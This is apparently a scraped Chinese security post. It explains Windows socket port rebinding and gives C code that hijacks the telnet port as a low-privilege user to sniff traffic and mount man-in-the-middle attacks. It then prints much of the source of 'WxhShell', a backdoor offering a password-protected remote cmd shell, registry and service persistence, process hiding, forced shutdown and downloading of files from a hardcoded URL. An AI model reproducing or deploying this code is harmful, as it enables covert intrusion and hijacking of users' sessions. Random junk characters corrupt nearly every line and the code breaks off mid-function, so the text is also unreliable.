在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
'kYwz;gp s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
G[8in 49d@! saddr.sin_family = AF_INET;
K_
lVISBQ LGc&o]k saddr.sin_addr.s_addr = htonl(INADDR_ANY);
~>0qZ{3J_ 11|Rdd+} bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
PlYm& L{E^?iX 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
wBQF~WY * ,v|y6 这意味着什么?意味着可以进行如下的攻击:
>|6iR%"f# /t6X(*xoy 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
/XudV2P-CA 4CQ"8k(S" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
wnTV|^Q lNv".Y=l 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$7QoMV 8V k<RZKw Qc 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
H'MJ{r0, hk/!
'd 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
1xU3#b&2tC Dfd-^N!
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
SlSM+F k|BHnj 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
g~BoFc.V2~ c8Q]!p+Yp #include
?<Y+peu #include
p#SY /KIw #include
<xJ/y|{ #include
#q3l!3\mW DWORD WINAPI ClientThread(LPVOID lpParam);
;Nr ]X int main()
*WE1;msr {
-`f04_@>d WORD wVersionRequested;
_U{([M>; DWORD ret;
w#N?l!5 WSADATA wsaData;
-o+74=E8[? BOOL val;
$
n,Z SOCKADDR_IN saddr;
F`nb21{0y& SOCKADDR_IN scaddr;
cst}Ibfi int err;
9s}Kl($ SOCKET s;
](eN@Xi&@ SOCKET sc;
^`SA'F, int caddsize;
u*7Z~R HANDLE mt;
kkvtB<<Y DWORD tid;
\([WH!7 wVersionRequested = MAKEWORD( 2, 2 );
r-kMLw/)
err = WSAStartup( wVersionRequested, &wsaData );
GHF_R,7 if ( err != 0 ) {
>/<:Q & printf("error!WSAStartup failed!\n");
v(leide return -1;
6DL[aD }
ES<{4<Kpx saddr.sin_family = AF_INET;
W>M~Sk$v hh~n#7w~IR //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
FuX 8v &x-TW,#Ks saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
qn"D#K'&( saddr.sin_port = htons(23);
`o79g"kxe if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
XJ!(F#zc {
o{*ay$vA] printf("error!socket failed!\n");
G5D2oQa=8 return -1;
CK_(b" }
/D_+{dtE val = TRUE;
`]$?uQ //SO_REUSEADDR选项就是可以实现端口重绑定的
>QHo@Zqj( if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Gg\G'QU {
0Q5 93F printf("error!setsockopt failed!\n");
{bF1\S]2 return -1;
Y9 r3XhVI }
}bB`(B,m //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
h3u1K>R) //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]_*S~'x //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
=lr) gj ARh6V&Hi- if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
w#G2-?aj {
@?B6aD|jE ret=GetLastError();
yno(' 1B@ printf("error!bind failed!\n");
E@QA". return -1;
6k])Kl J2; }
4ax|Vb)D listen(s,2);
TbE:||r?^ while(1)
w,.qCp T$_ {
ySdN;d:q caddsize = sizeof(scaddr);
N:+
taz- //接受连接请求
fW0$s` sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
/k:$l9C[ if(sc!=INVALID_SOCKET)
83]PA<R {
'bW5Fr>W mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
b_$1f> if(mt==NULL)
qFRdg V>8 {
96|[}:+$&: printf("Thread Creat Failed!\n");
y@vj;3: break;
2%rLoL$Y2+ }
&hZwZgV+3 }
B(HT.%r^A CloseHandle(mt);
<"&'>?8j }
BQgoVnQo_c closesocket(s);
oJ;rc{n- WSACleanup();
0.(<'!"y return 0;
whc[@Tyx }
x%BF{Sw DWORD WINAPI ClientThread(LPVOID lpParam)
V+B71\x< {
l\q}
|o SOCKET ss = (SOCKET)lpParam;
)ctr"&- SOCKET sc;
k{Lv37H unsigned char buf[4096];
Wr|G:(kw\! SOCKADDR_IN saddr;
W=-|` long num;
y62%26 [ DWORD val;
R"6;NPeo DWORD ret;
2z2` //如果是隐藏端口应用的话,可以在此处加一些判断
=fG:A(v%} //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
J=WB6zi saddr.sin_family = AF_INET;
2:v <qX saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
4L:>4X[T saddr.sin_port = htons(23);
jMpa?Jp 1 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,jh~;, w2 {
*v #/Y9} printf("error!socket failed!\n");
i+(GNcg2 return -1;
ZCiY,;c }
oK Kz 4 val = 100;
)+~E8yK if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9Vh_[^bR {
K;kM_%9u ret = GetLastError();
T)\NkM& return -1;
`1'5j "v }
9&jPp4qG if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^Vo"fI`=C {
g6' !v ret = GetLastError();
W,N L*($^ return -1;
E/O5e(h }
q.oLmX if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
@FX{M.. {
%!W%#U0 printf("error!socket connect failed!\n");
pieT'mA closesocket(sc);
L$JI43HZ closesocket(ss);
.9 kyrlm return -1;
Ph)|j&] }
6v47 QW|' while(1)
QrS$P09=\ {
__)qw# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
};SV!'9s?~ //如果是嗅探内容的话,可以再此处进行内容分析和记录
YOw?'+8 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
:EB,{|m num = recv(ss,buf,4096,0);
"3y} F if(num>0)
k,_i#9X send(sc,buf,num,0);
YN#XmX% else if(num==0)
:WX0,-Gn break;
WN0c%kz= num = recv(sc,buf,4096,0);
;QPy:x3 if(num>0)
f-+.;`H)T send(ss,buf,num,0);
)Qr6/c8} else if(num==0)
euZ(}+N& break;
p {C9`wi) }
zD_HyGf closesocket(ss);
fOBN=y6x closesocket(sc);
T|+$@o return 0 ;
|\{Nfm=:% }
OOLe[P3J3 pG28M]\ >UN vkQ: ==========================================================
_;G=G5r iwo$\ 下边附上一个代码,,WXhSHELL
<IH*\q:7 22vq=RO7Z ==========================================================
a|.20w5 Wm>b3: #include "stdafx.h"
Q7k.+2 "_)|8|gN #include <stdio.h>
#JS`e_3Rr #include <string.h>
b`]M|C [5 #include <windows.h>
*<dHqK`?C #include <winsock2.h>
UPO^V:.R4 #include <winsvc.h>
ysth{[<5F3 #include <urlmon.h>
5&(3A|P2 3ZN>9` #pragma comment (lib, "Ws2_32.lib")
hho%~^bn( #pragma comment (lib, "urlmon.lib")
4WG=m}X
#Q+R%p[D #define MAX_USER 100 // 最大客户端连接数
=c]a
{|W? #define BUF_SOCK 200 // sock buffer
H5p5S\g-) #define KEY_BUFF 255 // 输入 buffer
QK7e|M =h[yAf #define REBOOT 0 // 重启
7vNtv9 #define SHUTDOWN 1 // 关机
@\$Keg=>: ~,Mr0 #define DEF_PORT 5000 // 监听端口
xppkLoPK %yhI;M^ #define REG_LEN 16 // 注册表键长度
>;}]pI0T #define SVC_LEN 80 // NT服务名长度
|D(&w+( *[
#*n n // 从dll定义API
||f vKyKW> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Q
3X
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
m+7`\|`jQ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
q\_DJ)qpn typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
j!CU qZ?{-Vw // wxhshell配置信息
MA"#rOcP struct WSCFG {
eaxfn]gV int ws_port; // 监听端口
fp-m.d:| char ws_passstr[REG_LEN]; // 口令
/=ACdJ int ws_autoins; // 安装标记, 1=yes 0=no
<4$YO-:E char ws_regname[REG_LEN]; // 注册表键名
X#7}c5^Y char ws_svcname[REG_LEN]; // 服务名
PvuAg(? char ws_svcdisp[SVC_LEN]; // 服务显示名
#{~7G%GPY5 char ws_svcdesc[SVC_LEN]; // 服务描述信息
;"SZ} char ws_passmsg[SVC_LEN]; // 密码输入提示信息
LV\ieM int ws_downexe; // 下载执行标记, 1=yes 0=no
We\Y \*!v char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
A?'
H[2]w" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
&/DOO ^ i\vpGlx };
Z?C4a} DA=qeVBg // default Wxhshell configuration
&58 { struct WSCFG wscfg={DEF_PORT,
V0S6M^\DK "xuhuanlingzhe",
#AvEH=: 1,
%A=|'6)k2 "Wxhshell",
K+-z Y[3 "Wxhshell",
N+hedF@ZU "WxhShell Service",
*LEu=3lp%> "Wrsky Windows CmdShell Service",
3FuCW "Please Input Your Password: ",
_y"a2M 1,
a>?p.!BM "
http://www.wrsky.com/wxhshell.exe",
LhZZc`|7t "Wxhshell.exe"
-B,c B };
ZGzc"r(r:# A$N+9n\ // 消息定义模块
oL)lyUVT char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
&p)@8HY char *msg_ws_prompt="\n\r? for help\n\r#>";
1oB$u!6P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
LVoyA/F char *msg_ws_ext="\n\rExit.";
$)l2G;& char *msg_ws_end="\n\rQuit.";
>mew"0Q char *msg_ws_boot="\n\rReboot...";
KZZOi: char *msg_ws_poff="\n\rShutdown...";
L1rAT char *msg_ws_down="\n\rSave to ";
Pwg/Vhfh gINwvzW{ char *msg_ws_err="\n\rErr!";
"B~WcC char *msg_ws_ok="\n\rOK!";
|FjBKj sl% #u9r= char ExeFile[MAX_PATH];
oFb\TiLu int nUser = 0;
&b!vWX1N HANDLE handles[MAX_USER];
*^ey]),f54 int OsIsNt;
gU u&Vy\ '%);%y@v SERVICE_STATUS serviceStatus;
dA|Lufy# SERVICE_STATUS_HANDLE hServiceStatusHandle;
{clCn Q|Nzbmwh // 函数声明
j/~VP2R` int Install(void);
?ISI[hoc int Uninstall(void);
"k/;`eAP int DownloadFile(char *sURL, SOCKET wsh);
=!(S<]; int Boot(int flag);
W;q#ZD(; void HideProc(void);
)nJzSN=>$ int GetOsVer(void);
1bT'u5& int Wxhshell(SOCKET wsl);
U.Pa7tn void TalkWithClient(void *cs);
D xe-XKNc. int CmdShell(SOCKET sock);
cO8`J&EK int StartFromService(void);
l&\tf`~ int StartWxhshell(LPSTR lpCmdLine);
!NILpimi H U:1f)aa VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
'_k >*trV VOID WINAPI NTServiceHandler( DWORD fdwControl );
wEZ,49 >-UD]?> // 数据结构和表定义
H]Y#pLu| SERVICE_TABLE_ENTRY DispatchTable[] =
i<'{Y {
^6ExW>K {wscfg.ws_svcname, NTServiceMain},
PG\\V$}A( {NULL, NULL}
'uws };
!}z%#$ )lQN)!.) // 自我安装
0T7M_G'5Q int Install(void)
~o}moE/
;O {
0@o;|N"i char svExeFile[MAX_PATH];
])+Sc"g4k HKEY key;
MP6 \r strcpy(svExeFile,ExeFile);
@=02 yBr$ 0$ // 如果是win9x系统,修改注册表设为自启动
Q~x*bMb. if(!OsIsNt) {
j@%K*Gb` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
zNNzsT8na RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
eL>K2Jxq RegCloseKey(key);
Z'voCWCd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5Xp$yX = RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9` OG RegCloseKey(key);
,G916J*XA return 0;
jK&
Nkp }
l
:f9Ih }
7~nIaT }
['/;'NhdlY else {
VC/R)%@% (3)C_Z // 如果是NT以上系统,安装为系统服务
QBg}2. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
-fb1cv~N if (schSCManager!=0)
/E=h{| {
jXc5fXO
N SC_HANDLE schService = CreateService
d,Hf-zJ%~ (
PpX{+^z-% schSCManager,
L-^# 02 wscfg.ws_svcname,
Bq~AU# wscfg.ws_svcdisp,
\W3+VG2cA SERVICE_ALL_ACCESS,
s#'|{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
"r5'lQI SERVICE_AUTO_START,
bx+(.F SERVICE_ERROR_NORMAL,
NTXws4'D svExeFile,
{Bav$kw;?e NULL,
m~Lf^gbG? NULL,
VZUZngw NULL,
=g{_^^n NULL,
F2Nb5WT NULL
:6\-9m8JM );
1C^HCIH7J if (schService!=0)
jEC'l]l {
TKj/6Jz| CloseServiceHandle(schService);
e_fg s>o`( CloseServiceHandle(schSCManager);
},?-$eyX strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7H8GkuO strcat(svExeFile,wscfg.ws_svcname);
44Seq if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Y!K^-Y} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;g;,%jdCS RegCloseKey(key);
4<=eK7;XR return 0;
eukX#0/^ }
z6GL,wo# }
mafAC73 CloseServiceHandle(schSCManager);
{|8:U}<#h }
5Ws:Ei{R }
842Mydom E9~&f^f return 1;
{Sd@u$& }
f ~n' Ki+' RW|UQY# // 自我卸载
<8F->k1"3 int Uninstall(void)
2dp*>F0L {
\t&n
jMWpZ HKEY key;
0lvb{Zd R 47I\{ if(!OsIsNt) {
LH?gJ8` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
mvW^P`nB RegDeleteValue(key,wscfg.ws_regname);
MY0[Oq cm= RegCloseKey(key);
+oxqS&$L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
FvtM~[Q RegDeleteValue(key,wscfg.ws_regname);
jk WBw.( RegCloseKey(key);
RU3_Fso return 0;
&;uGIk>s }
baO&n }
VNOK>+ }
VfJX<e=k else {
J.CZR[XF# zD#+[XI]K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
f4@#pnJ3po if (schSCManager!=0)
RPScP {
#/&q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
)VSGqYr# if (schService!=0)
_zVbqRHlw {
g*"J10hyP if(DeleteService(schService)!=0) {
bOnukbJ CloseServiceHandle(schService);
j,gM+4V^ CloseServiceHandle(schSCManager);
7+A-7ci return 0;
_S%OX_UMn^ }
\k$]GK- CloseServiceHandle(schService);
K2vPj| }
!'6J;Fb# CloseServiceHandle(schSCManager);
t&p:vXF2 }
$yR{ZFo }
JY;#]'T\; X~<>K/}u5 return 1;
6w .iEb }
0X}w[^f !Cv<>_N). // 从指定url下载文件
[8om9 Z3 int DownloadFile(char *sURL, SOCKET wsh)
BhhK| U/ {
=:0IHyB#0 HRESULT hr;
ej??j<] char seps[]= "/";
;Kq<',u~ char *token;
n=#[Mi $Y char *file;
<iY 9cV|}3 char myURL[MAX_PATH];
@/ovdf{ char myFILE[MAX_PATH];
[3bwbfHhi ~k:>Xo[|O strcpy(myURL,sURL);
=-a?oH- token=strtok(myURL,seps);
y+~Aw"J} while(token!=NULL)
.,iw2: {
l*V72!Mv file=token;
aV92.Z_Ku token=strtok(NULL,seps);
'E4(!H,k }
\[hrG?A #f jX|b GetCurrentDirectory(MAX_PATH,myFILE);
3 `C3+ strcat(myFILE, "\\");
~jrU#<'G9 strcat(myFILE, file);
y|2g"J send(wsh,myFILE,strlen(myFILE),0);
iR4,$Nn> send(wsh,"...",3,0);
R.n`R|NOd hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
5Dh&ez`oR' if(hr==S_OK)
H603L|4 return 0;
Q=9VuTE else
EzY
scX.[ return 1;
fh5^Gd~
s*A|9uf5 }
jak|LOp h^3Vd K, // 系统电源模块
E'6z7m. int Boot(int flag)
&<;nl^ {
h hNFp HANDLE hToken;
>+W?!9[p:2 TOKEN_PRIVILEGES tkp;
q=i,'.nS h11bK'TIv if(OsIsNt) {
f<xt3 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
@o-evH;G LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!un"XI0`t< tkp.PrivilegeCount = 1;
rt4|GVa tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
^c:eXoU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
~m"M#1,ln3 if(flag==REBOOT) {
,1 9" [:WN if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Q!$kUcky9 return 0;
q?b)zeJ }
QH56tQq else {
VE+p&0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ohG43&g~ return 0;
8B(Q7Qj }
m$e@<~To }
[E&"9%K else {
TuT= if(flag==REBOOT) {
@zpHemdB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
m0K2 p~ return 0;
uc
`rt" }
ieK'<%dxF else {
]&%X(jWyn if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
pz z`4VS: return 0;
6-E4)0\ }
sRI=TE]s }
4?6'~G$k \}_7^)S; return 1;
L``mF(R^ }
=dJEcC_J Mdq'> <ajL // win9x进程隐藏模块
N_~Wu void HideProc(void)
v,O&UrZ {
4iB)oR 3_['[}
HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
a>e
1jM[ if ( hKernel != NULL )
)fcpE,g' {
[;\<
2 =H pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
r4qV}-E ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
^*T{-U' FreeLibrary(hKernel);
B=qRZA!DQ? }
AFnlt REe%>|
return;
@ F"ShT0 }
(%^TTe !N2 n@bo // 获取操作系统版本
<Ucfd
G&Lp int GetOsVer(void)
uY#58?>'j {
b8xfV{3 L OSVERSIONINFO winfo;
nT6iS}h winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
"MKsSty GetVersionEx(&winfo);
`rFGSq$9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
bqLYF[#T return 1;
qQ\hUii else
}z%/6`7)| return 0;
TEy.zzt }
c;fyUi kT3;%D^ // 客户端句柄模块
iY`7\/H!L int Wxhshell(SOCKET wsl)
=(uy':Dbn* {
1 jd=R7 SOCKET wsh;
k{$"-3ed struct sockaddr_in client;
Z)>a6s$ih< DWORD myID;
q+=@kXs>+ [ Sa
C while(nUser<MAX_USER)
5 s2}nIe {
HGMH
g int nSize=sizeof(client);
<.]& FPJ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
GoGgw]h>x if(wsh==INVALID_SOCKET) return 1;
N1zrfn-VU LWR&(p.% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
-|UX}t* if(handles[nUser]==0)
}E]&13>r closesocket(wsh);
8J@OMW&[l else
9S`b7U=P nUser++;
x6mq['_ }
|UiykQ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
z+`)|c4- Lr]Hvd return 0;
Jywz27j }
\^Q)`Lqp:g &^<T/PiR // 关闭 socket
!c' ;L' void CloseIt(SOCKET wsh)
}tg n1xpx {
`RLrT34 closesocket(wsh);
B$eF@v" nUser--;
Al;oI3 ExitThread(0);
G~j<I/)" }
omU)hFvyS 6>^k9cJp // 客户端请求句柄
m.X+sP-e void TalkWithClient(void *cs)
jtJ8r5j 1 {
`Y$5g~3. $6+P&"8 SOCKET wsh=(SOCKET)cs;
= nN*9HRD char pwd[SVC_LEN];
|xC
TX char cmd[KEY_BUFF];
X64I~* char chr[1];
Rs`Y'_B int i,j;
[~0q ) uw&,pq while (nUser < MAX_USER) {
#GJh:#tt^ Qi L if(wscfg.ws_passstr) {
tXuxTVhoT if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Q(Y,p`> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+VFwYdW, //ZeroMemory(pwd,KEY_BUFF);
pIjVJ9+j i=0;
meWq9:z while(i<SVC_LEN) {
dQ"W~ig QAw,X Z.K^ // 设置超时
lt"*y.%@b fd_set FdRead;
Tj~#Xc struct timeval TimeOut;
smS0Rk FD_ZERO(&FdRead);
M)RQIl5 FD_SET(wsh,&FdRead);
Q2PwO;E.`C TimeOut.tv_sec=8;
S}I=i>QB TimeOut.tv_usec=0;
hS/'b$# int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
!~kzxY if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$S ("-3 Kt0Tuj@CY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
S,>n'r[ pwd
=chr[0]; ''YjeX
if(chr[0]==0xd || chr[0]==0xa) { (!=aRC.-
pwd=0; -JQg{A
break; +Enff0 =+
} Bbp9Q,4
i++; bS"M*
} {NDe9V5
h0pr"]sO;$
// 如果是非法用户,关闭 socket S?tLIi/
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ku'U^=bVm:
} Wuz~$SU
8hA=$}y&x
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ApBThW*E
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?V)6`St#C
k,(_R=
while(1) { 2"^9t1C2
k"c_x*f
ZeroMemory(cmd,KEY_BUFF); F4{<;4N0
znRhQ+8;!
// 自动支持客户端 telnet标准 g>CQO,s;w
j=0; M*uG`Eo&
while(j<KEY_BUFF) { hgltD8,
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1i2w<VG1
cmd[j]=chr[0]; h!]A(T\J
if(chr[0]==0xa || chr[0]==0xd) { K@hUif|([
cmd[j]=0; &9{BuBO[
break; ,:{+
H
} %W+Fe,]
j++; iHB)wC`u
} DVH><3FF
+.cv,1Vx
// 下载文件 _Y=yR2O
if(strstr(cmd,"http://")) { mAa]Et.
send(wsh,msg_ws_down,strlen(msg_ws_down),0); kMXl
{
if(DownloadFile(cmd,wsh)) s9>!^MzBK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S#dS5OX
else }IL@j A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Awh)@iTL
} mws.)
else { A@r,A?(
$Plk4 o*g
switch(cmd[0]) { Tkf !Y?
eo[^ij
// 帮助 7m:, -xp
case '?': { i/z7a%$
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ],|B4\b ;
break; ^eii
4
} f'S"F
// 安装 N5DS-gv
case 'i': { H2vEFn V
if(Install()) o5uwa{v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KMcP !N.I
else |zKcL3*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5$X{{j2
break; %#~Wk|8} Q
} 7&1: ]{_
// 卸载 f -5ZXpWs'
case 'r': { 9m{rQ P/
if(Uninstall()) *Q?HaG|S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dGe
else CS49M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yk/XfwQ5
break; %+~0+ev7r
} +L6d$+
// 显示 wxhshell 所在路径 ?a@l.ZM*
case 'p': { v},sWjv
char svExeFile[MAX_PATH]; ZtDpCl_
strcpy(svExeFile,"\n\r"); \ :.p8`
strcat(svExeFile,ExeFile); h>?OWI
send(wsh,svExeFile,strlen(svExeFile),0); kTV D4Z=
break; zAewE@N#_
} p20Nk$.
// 重启 V5+a[`]
case 'b': { 3]acfCacC
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VbjW$?
if(Boot(REBOOT)) p
WH u[Fu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .anL}OA_q
else { uHYI :(O
closesocket(wsh); ,U}8(D~:
ExitThread(0); 75y#^pD?c
} b%(0AL
break; z~qQ@u|
} Qw:j2g2H7
// 关机 KMV!Hqkk
case 'd': { ff0,K#-
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); syF/jWM5
if(Boot(SHUTDOWN)) (!s[~O 6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jk@]d5
else { i{2KMa{K
closesocket(wsh); P;34Rd
ExitThread(0); YQ/*|
} K4"as9oFP
break; }O/Nn0,
} {8Ll\j@ "
// 获取shell V|=
1<v
case 's': { Dp8(L ]6
CmdShell(wsh); S(pfd2^
closesocket(wsh); F+GQ l
ExitThread(0); <S
qbj;
break; b~}}{fm&f
} M%/D:0
// 退出 Ts\7)6|F
case 'x': { 6C:Lq%}
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )'JSu=Ej
CloseIt(wsh); 6x 0>E^~
break; hjE9[{K
} 1K>4i. X
// 离开 Rjf|
case 'q': { ?k#%AM
send(wsh,msg_ws_end,strlen(msg_ws_end),0); qF?S[Z;
closesocket(wsh); u8*0r{kOH
WSACleanup(); mN{$z<r
exit(1); dn Xc- <
break; +] #>6/2q
} V4 7Fp
} @azS)4L
} (<12&=WxE
L>B0%TP^
// 提示信息 GCrN:+E0FJ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N`M5`=.
} xK/`XY
} wgrYZ^]
rO
NLbrj
return; T*oH tpFj#
} aD4ln]sFxG
#r1x0s40D
// shell模块句柄 gU`QW_{
int CmdShell(SOCKET sock) .+y#7-#6
{ zMa`olTZ
STARTUPINFO si; `F)Iv:;y,
ZeroMemory(&si,sizeof(si)); [f'7/w+
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U5Y*xm<
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @:Ns`+ W*
PROCESS_INFORMATION ProcessInfo; Th8xh=F[
char cmdline[]="cmd"; ;RU)Q)a)
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _Qv4;a
return 0; ?F-,4Ox{/
} 1xw},y6T2
Z1Ms~tch
// 自身启动模式 :!%oQQO
int StartFromService(void) '&"7(8E}
*
{ V#=N?p
typedef struct T/H*Bo*=5
{ .m<-)Kx
DWORD ExitStatus; Ct B>
s7
DWORD PebBaseAddress; g$A1*<+
